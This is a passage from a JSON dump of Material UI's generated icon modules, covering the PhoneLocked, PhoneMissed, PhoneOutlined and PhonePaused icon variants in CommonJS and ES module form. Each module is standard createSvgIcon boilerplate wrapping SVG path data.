    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 5v-.89c0-1-.68-1.92-1.66-2.08C17.08 1.82 16 2.79 16 4v1c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1h4c.55 0 1-.45 1-1V6c0-.55-.45-1-1-1m-1 0h-2V4c0-.55.45-1 1-1s1 .45 1 1z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m15.63 14.4-2.52 2.5c-2.5-1.43-4.57-3.5-6-6l2.5-2.52c.23-.24.33-.57.27-.9L9.13 3.8c-.09-.46-.5-.8-.98-.8H4c-.56 0-1.03.47-1 1.03.17 2.89 1.05 5.6 2.43 7.97 1.58 2.73 3.85 4.99 6.57 6.57 2.37 1.37 5.08 2.26 7.97 2.43.56.03 1.03-.44 1.03-1v-4.15c0-.48-.34-.89-.8-.98l-3.67-.73c-.33-.07-.67.03-.9.26\"\n}, \"1\")], 'PhoneLockedRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneLockedSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 5V4c0-1.1-.9-2-2-2s-2 .9-2 2v1h-1v5h6V5zm-1 0h-2V4c0-.55.45-1 1-1s1 .45 1 1z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21 15-5-1-2.9 2.9c-2.5-1.43-4.57-3.5-6-6L10 8 9 3H3c0 3.28.89 6.35 2.43 9 1.58 2.73 3.85 4.99 6.57 6.57C14.65 20.1 17.72 21 21 21z\"\n}, \"1\")], 'PhoneLockedSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneLockedSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 5V4c0-1.1-.9-2-2-2s-2 .9-2 2v1h-1v5h6V5zm-1 0h-2V4c0-.55.45-1 1-1s1 .45 1 1z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m21 15-5-1-2.9 2.9c-2.5-1.43-4.57-3.5-6-6L10 8 9 3H3c0 3.28.89 6.35 2.43 9 1.58 2.73 3.85 4.99 6.57 6.57C14.65 20.1 17.72 21 21 21z\"\n}, \"1\")], 'PhoneLockedSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneLockedTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 5V4c0-1.1-.9-2-2-2s-2 .9-2 2v1h-1v5h6V5zm-1 0h-2V4c0-.55.45-1 1-1s1 .45 1 1z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 17.83c1.29.54 2.63.89 4 1.07v-2.23l-2.35-.47zM7.33 5H5.1c.18 1.37.53 2.7 1.07 4L7.8 7.35z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m20.2 14.87-3.67-.73c-.5-.1-.83.2-.9.27l-2.52 2.5c-2.5-1.43-4.57-3.5-6-6l2.5-2.52c.23-.24.33-.57.27-.9L9.13 3.8c-.09-.46-.5-.8-.98-.8H4c-.56 0-1.03.47-1 1.03.17 2.89 1.05 5.6 2.43 7.97 1.58 2.73 3.85 4.99 6.57 6.57 2.37 1.37 5.08 2.26 7.97 2.43.55.03 1.03-.43 1.03-1v-4.15c0-.48-.34-.89-.8-.98M5.1 5h2.23l.47 2.35L6.17 9c-.54-1.3-.9-2.63-1.07-4M19 18.9c-1.37-.18-2.7-.53-4-1.07l1.65-1.63 2.35.47z\"\n}, \"2\")], 'PhoneLockedTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneLockedTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 5V4c0-1.1-.9-2-2-2s-2 .9-2 2v1h-1v5h6V5zm-1 0h-2V4c0-.55.45-1 1-1s1 .45 1 1z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 17.83c1.29.54 2.63.89 4 1.07v-2.23l-2.35-.47zM7.33 5H5.1c.18 1.37.53 2.7 1.07 4L7.8 7.35z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m20.2 14.87-3.67-.73c-.5-.1-.83.2-.9.27l-2.52 2.5c-2.5-1.43-4.57-3.5-6-6l2.5-2.52c.23-.24.33-.57.27-.9L9.13 3.8c-.09-.46-.5-.8-.98-.8H4c-.56 0-1.03.47-1 1.03.17 2.89 1.05 5.6 2.43 7.97 1.58 2.73 3.85 4.99 6.57 6.57 2.37 1.37 5.08 2.26 7.97 2.43.55.03 1.03-.43 1.03-1v-4.15c0-.48-.34-.89-.8-.98M5.1 5h2.23l.47 2.35L6.17 9c-.54-1.3-.9-2.63-1.07-4M19 18.9c-1.37-.18-2.7-.53-4-1.07l1.65-1.63 2.35.47z\"\n}, \"2\")], 'PhoneLockedTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneMissed.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.5 5.5 12 11l7-7-1-1-6 6-4.5-4.5H11V3H5v6h1.5zm17.21 11.17C20.66 13.78 16.54 12 12 12S3.34 13.78.29 16.67c-.18.18-.29.43-.29.71s.11.53.29.71l2.48 2.48c.18.18.43.29.71.29.27 0 .52-.11.7-.28.79-.74 1.69-1.36 2.66-1.85.33-.16.56-.5.56-.9v-3.1c1.45-.48 3-.73 4.6-.73s3.15.25 4.6.72v3.1c0 .39.23.74.56.9.98.49 1.87 1.12 2.67 1.85.18.18.43.28.7.28.28 0 .53-.11.71-.29l2.48-2.48c.18-.18.29-.43.29-.71s-.12-.52-.3-.7\"\n}), 'PhoneMissed');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneMissed.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.5 5.5 12 11l7-7-1-1-6 6-4.5-4.5H11V3H5v6h1.5zm17.21 11.17C20.66 13.78 16.54 12 12 12S3.34 13.78.29 16.67c-.18.18-.29.43-.29.71s.11.53.29.71l2.48 2.48c.18.18.43.29.71.29.27 0 .52-.11.7-.28.79-.74 1.69-1.36 2.66-1.85.33-.16.56-.5.56-.9v-3.1c1.45-.48 3-.73 4.6-.73s3.15.25 4.6.72v3.1c0 .39.23.74.56.9.98.49 1.87 1.12 2.67 1.85.18.18.43.28.7.28.28 0 .53-.11.71-.29l2.48-2.48c.18-.18.29-.43.29-.71s-.12-.52-.3-.7\"\n}), 'PhoneMissed');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneMissedOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23.71 16.67C20.66 13.78 16.54 12 12 12S3.34 13.78.29 16.67c-.18.18-.29.43-.29.71s.11.53.29.71l2.48 2.48c.18.18.43.29.71.29.27 0 .52-.11.7-.28.79-.74 1.69-1.36 2.66-1.85.33-.16.56-.5.56-.9v-3.1c1.45-.48 3-.73 4.6-.73s3.15.25 4.6.72v3.1c0 .39.23.74.56.9.98.49 1.87 1.12 2.67 1.85.18.18.43.28.7.28.28 0 .53-.11.71-.29l2.48-2.48c.18-.18.29-.43.29-.71s-.12-.52-.3-.7m-18.31.56c-.66.37-1.29.8-1.87 1.27l-1.07-1.07c.91-.75 1.9-1.39 2.95-1.9v1.7zm15.08 1.26c-.6-.48-1.22-.9-1.88-1.27v-1.7c1.05.51 2.03 1.15 2.95 1.9zM7 6.43l4.94 4.94 7.07-7.07-1.41-1.42-5.66 5.66L8.4 5H11V3H5v6h2z\"\n}), 'PhoneMissedOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneMissedOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M23.71 16.67C20.66 13.78 16.54 12 12 12S3.34 13.78.29 16.67c-.18.18-.29.43-.29.71s.11.53.29.71l2.48 2.48c.18.18.43.29.71.29.27 0 .52-.11.7-.28.79-.74 1.69-1.36 2.66-1.85.33-.16.56-.5.56-.9v-3.1c1.45-.48 3-.73 4.6-.73s3.15.25 4.6.72v3.1c0 .39.23.74.56.9.98.49 1.87 1.12 2.67 1.85.18.18.43.28.7.28.28 0 .53-.11.71-.29l2.48-2.48c.18-.18.29-.43.29-.71s-.12-.52-.3-.7m-18.31.56c-.66.37-1.29.8-1.87 1.27l-1.07-1.07c.91-.75 1.9-1.39 2.95-1.9v1.7zm15.08 1.26c-.6-.48-1.22-.9-1.88-1.27v-1.7c1.05.51 2.03 1.15 2.95 1.9zM7 6.43l4.94 4.94 7.07-7.07-1.41-1.42-5.66 5.66L8.4 5H11V3H5v6h2z\"\n}), 'PhoneMissedOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneMissedRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23.09 16.2c-6.33-5.59-15.86-5.59-22.18 0-.84.74-.84 2.05-.05 2.84l1.2 1.2c.71.71 1.84.77 2.62.15l1.97-1.57c.47-.37.75-.94.75-1.55V14.7c2.98-.97 6.21-.98 9.2 0v2.58c0 .6.28 1.17.75 1.55l1.96 1.56c.79.62 1.91.56 2.62-.15l1.2-1.2c.8-.79.79-2.1-.04-2.84M6 9c.55 0 1-.45 1-1V6.43l4.24 4.24c.39.39 1.02.39 1.41 0l5.66-5.66c.39-.39.39-1.02 0-1.41a.996.996 0 0 0-1.41 0l-4.95 4.95L8.4 5H10c.55 0 1-.45 1-1s-.45-1-1-1H6c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1\"\n}), 'PhoneMissedRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneMissedRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M23.09 16.2c-6.33-5.59-15.86-5.59-22.18 0-.84.74-.84 2.05-.05 2.84l1.2 1.2c.71.71 1.84.77 2.62.15l1.97-1.57c.47-.37.75-.94.75-1.55V14.7c2.98-.97 6.21-.98 9.2 0v2.58c0 .6.28 1.17.75 1.55l1.96 1.56c.79.62 1.91.56 2.62-.15l1.2-1.2c.8-.79.79-2.1-.04-2.84M6 9c.55 0 1-.45 1-1V6.43l4.24 4.24c.39.39 1.02.39 1.41 0l5.66-5.66c.39-.39.39-1.02 0-1.41a.996.996 0 0 0-1.41 0l-4.95 4.95L8.4 5H10c.55 0 1-.45 1-1s-.45-1-1-1H6c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1\"\n}), 'PhoneMissedRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneMissedSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23.32 16.67c-2.95-2.79-6.93-4.51-11.31-4.51-4.39 0-8.37 1.72-11.31 4.51l-.69.69L3.65 21l3.93-2.72-.01-3.49c1.4-.45 2.9-.7 4.44-.7 1.55 0 3.04.24 4.44.7l-.01 3.49L20.37 21l3.64-3.64c0-.01-.52-.52-.69-.69M7 6.43l4.94 4.94 7.07-7.07-1.41-1.42-5.66 5.66L8.4 5H11V3H5v6h2z\"\n}), 'PhoneMissedSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneMissedSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M23.32 16.67c-2.95-2.79-6.93-4.51-11.31-4.51-4.39 0-8.37 1.72-11.31 4.51l-.69.69L3.65 21l3.93-2.72-.01-3.49c1.4-.45 2.9-.7 4.44-.7 1.55 0 3.04.24 4.44.7l-.01 3.49L20.37 21l3.64-3.64c0-.01-.52-.52-.69-.69M7 6.43l4.94 4.94 7.07-7.07-1.41-1.42-5.66 5.66L8.4 5H11V3H5v6h2z\"\n}), 'PhoneMissedSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneMissedTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.6 17.22c.66.37 1.28.79 1.88 1.27l1.07-1.07c-.91-.75-1.9-1.39-2.95-1.9zM3.53 18.5c.58-.47 1.21-.89 1.87-1.27v-1.71c-1.05.51-2.03 1.15-2.95 1.9z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23.71 16.67C20.66 13.78 16.54 12 12 12S3.34 13.78.29 16.67c-.18.18-.29.43-.29.71s.11.53.29.71l2.48 2.48c.18.18.43.29.71.29.27 0 .52-.11.7-.28.79-.74 1.69-1.36 2.66-1.85.33-.16.56-.5.56-.9v-3.1c1.45-.48 3-.73 4.6-.73s3.15.25 4.6.72v3.1c0 .39.23.74.56.9.98.49 1.87 1.12 2.67 1.85.18.18.43.28.7.28.28 0 .53-.11.71-.29l2.48-2.48c.18-.18.29-.43.29-.71s-.12-.52-.3-.7m-18.31.56c-.66.37-1.29.8-1.87 1.27l-1.07-1.07c.91-.75 1.9-1.39 2.95-1.9v1.7zm15.08 1.26c-.6-.48-1.22-.9-1.88-1.27v-1.7c1.05.51 2.03 1.15 2.95 1.9zM7 6.43l4.94 4.94 7.07-7.07-1.41-1.42-5.66 5.66L8.4 5H11V3H5v6h2z\"\n}, \"1\")], 'PhoneMissedTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneMissedTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.6 17.22c.66.37 1.28.79 1.88 1.27l1.07-1.07c-.91-.75-1.9-1.39-2.95-1.9zM3.53 18.5c.58-.47 1.21-.89 1.87-1.27v-1.71c-1.05.51-2.03 1.15-2.95 1.9z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M23.71 16.67C20.66 13.78 16.54 12 12 12S3.34 13.78.29 16.67c-.18.18-.29.43-.29.71s.11.53.29.71l2.48 2.48c.18.18.43.29.71.29.27 0 .52-.11.7-.28.79-.74 1.69-1.36 2.66-1.85.33-.16.56-.5.56-.9v-3.1c1.45-.48 3-.73 4.6-.73s3.15.25 4.6.72v3.1c0 .39.23.74.56.9.98.49 1.87 1.12 2.67 1.85.18.18.43.28.7.28.28 0 .53-.11.71-.29l2.48-2.48c.18-.18.29-.43.29-.71s-.12-.52-.3-.7m-18.31.56c-.66.37-1.29.8-1.87 1.27l-1.07-1.07c.91-.75 1.9-1.39 2.95-1.9v1.7zm15.08 1.26c-.6-.48-1.22-.9-1.88-1.27v-1.7c1.05.51 2.03 1.15 2.95 1.9zM7 6.43l4.94 4.94 7.07-7.07-1.41-1.42-5.66 5.66L8.4 5H11V3H5v6h2z\"\n}, \"1\")], 'PhoneMissedTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.54 5c.06.89.21 1.76.45 2.59l-1.2 1.2c-.41-1.2-.67-2.47-.76-3.79zm9.86 12.02c.85.24 1.72.39 2.6.45v1.49c-1.32-.09-2.59-.35-3.8-.75zM7.5 3H4c-.55 0-1 .45-1 1 0 9.39 7.61 17 17 17 .55 0 1-.45 1-1v-3.49c0-.55-.45-1-1-1-1.24 0-2.45-.2-3.57-.57-.1-.04-.21-.05-.31-.05-.26 0-.51.1-.71.29l-2.2 2.2c-2.83-1.45-5.15-3.76-6.59-6.59l2.2-2.2c.28-.28.36-.67.25-1.02C8.7 6.45 8.5 5.25 8.5 4c0-.55-.45-1-1-1\"\n}), 'PhoneOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.54 5c.06.89.21 1.76.45 2.59l-1.2 1.2c-.41-1.2-.67-2.47-.76-3.79zm9.86 12.02c.85.24 1.72.39 2.6.45v1.49c-1.32-.09-2.59-.35-3.8-.75zM7.5 3H4c-.55 0-1 .45-1 1 0 9.39 7.61 17 17 17 .55 0 1-.45 1-1v-3.49c0-.55-.45-1-1-1-1.24 0-2.45-.2-3.57-.57-.1-.04-.21-.05-.31-.05-.26 0-.51.1-.71.29l-2.2 2.2c-2.83-1.45-5.15-3.76-6.59-6.59l2.2-2.2c.28-.28.36-.67.25-1.02C8.7 6.45 8.5 5.25 8.5 4c0-.55-.45-1-1-1\"\n}), 'PhoneOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhonePaused.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 3h-2v7h2zm3 12.5c-1.25 0-2.45-.2-3.57-.57-.35-.11-.74-.03-1.02.24l-2.2 2.2c-2.83-1.44-5.15-3.75-6.59-6.59l2.2-2.21c.28-.26.36-.65.25-1C8.7 6.45 8.5 5.25 8.5 4c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1 0 9.39 7.61 17 17 17 .55 0 1-.45 1-1v-3.5c0-.55-.45-1-1-1M19 3v7h2V3z\"\n}), 'PhonePaused');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhonePaused.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 3h-2v7h2zm3 12.5c-1.25 0-2.45-.2-3.57-.57-.35-.11-.74-.03-1.02.24l-2.2 2.2c-2.83-1.44-5.15-3.75-6.59-6.59l2.2-2.21c.28-.26.36-.65.25-1C8.7 6.45 8.5 5.25 8.5 4c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1 0 9.39 7.61 17 17 17 .55 0 1-.45 1-1v-3.5c0-.55-.45-1-1-1M19 3v7h2V3z\"\n}), 'PhonePaused');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhonePausedOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.54 5c.06.88.21 1.75.44 2.58l-1.2 1.21c-.4-1.21-.66-2.47-.75-3.79zm9.86 12.01c.85.24 1.72.39 2.6.45v1.5c-1.32-.09-2.6-.35-3.8-.76zM7.5 3H4c-.55 0-1 .45-1 1 0 9.39 7.61 17 17 17 .55 0 1-.45 1-1v-3.5c0-.55-.45-1-1-1-1.25 0-2.45-.2-3.57-.57-.1-.03-.21-.05-.31-.05-.26 0-.51.1-.71.29l-2.2 2.2c-2.83-1.44-5.15-3.75-6.59-6.59l2.2-2.21c.28-.26.36-.65.25-1C8.7 6.45 8.5 5.25 8.5 4c0-.55-.45-1-1-1M15 3h2v7h-2zm4 0h2v7h-2z\"\n}), 'PhonePausedOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhonePausedOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.54 5c.06.88.21 1.75.44 2.58l-1.2 1.21c-.4-1.21-.66-2.47-.75-3.79zm9.86 12.01c.85.24 1.72.39 2.6.45v1.5c-1.32-.09-2.6-.35-3.8-.76zM7.5 3H4c-.55 0-1 .45-1 1 0 9.39 7.61 17 17 17 .55 0 1-.45 1-1v-3.5c0-.55-.45-1-1-1-1.25 0-2.45-.2-3.57-.57-.1-.03-.21-.05-.31-.05-.26 0-.51.1-.71.29l-2.2 2.2c-2.83-1.44-5.15-3.75-6.59-6.59l2.2-2.21c.28-.26.36-.65.25-1C8.7 6.45 8.5 5.25 8.5 4c0-.55-.45-1-1-1M15 3h2v7h-2zm4 0h2v7h-2z\"\n}), 'PhonePausedOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhonePausedRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 3c-.55 0-1 .45-1 1v5c0 .55.45 1 1 1s1-.45 1-1V4c0-.55-.45-1-1-1m3 1v5c0 .55.45 1 1 1s1-.45 1-1V4c0-.55-.45-1-1-1s-1 .45-1 1m.23 11.26-2.54-.29c-.61-.07-1.21.14-1.64.57l-1.84 1.84c-2.83-1.44-5.15-3.75-6.59-6.59l1.85-1.85c.43-.43.64-1.03.57-1.64l-.29-2.52c-.12-1.01-.97-1.77-1.99-1.77H5.03c-1.13 0-2.07.94-2 2.07.53 8.54 7.36 15.36 15.89 15.89 1.13.07 2.07-.87 2.07-2v-1.73c.01-1.01-.75-1.86-1.76-1.98\"\n}), 'PhonePausedRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhonePausedRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 3c-.55 0-1 .45-1 1v5c0 .55.45 1 1 1s1-.45 1-1V4c0-.55-.45-1-1-1m3 1v5c0 .55.45 1 1 1s1-.45 1-1V4c0-.55-.45-1-1-1s-1 .45-1 1m.23 11.26-2.54-.29c-.61-.07-1.21.14-1.64.57l-1.84 1.84c-2.83-1.44-5.15-3.75-6.59-6.59l1.85-1.85c.43-.43.64-1.03.57-1.64l-.29-2.52c-.12-1.01-.97-1.77-1.99-1.77H5.03c-1.13 0-2.07.94-2 2.07.53 8.54 7.36 15.36 15.89 15.89 1.13.07 2.07-.87 2.07-2v-1.73c.01-1.01-.75-1.86-1.76-1.98\"\n}), 'PhonePausedRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhonePausedSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 3h2v7h-2zm4 0h2v7h-2zm-5.79 14.37c-2.83-1.44-5.15-3.75-6.59-6.59l2.53-2.53L8.54 3H3.03C2.45 13.18 10.82 21.55 21 20.97v-5.51l-5.27-.61z\"\n}), 'PhonePausedSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhonePausedSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 3h2v7h-2zm4 0h2v7h-2zm-5.79 14.37c-2.83-1.44-5.15-3.75-6.59-6.59l2.53-2.53L8.54 3H3.03C2.45 13.18 10.82 21.55 21 20.97v-5.51l-5.27-.61z\"\n}), 'PhonePausedSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhonePausedTwoTone.js",
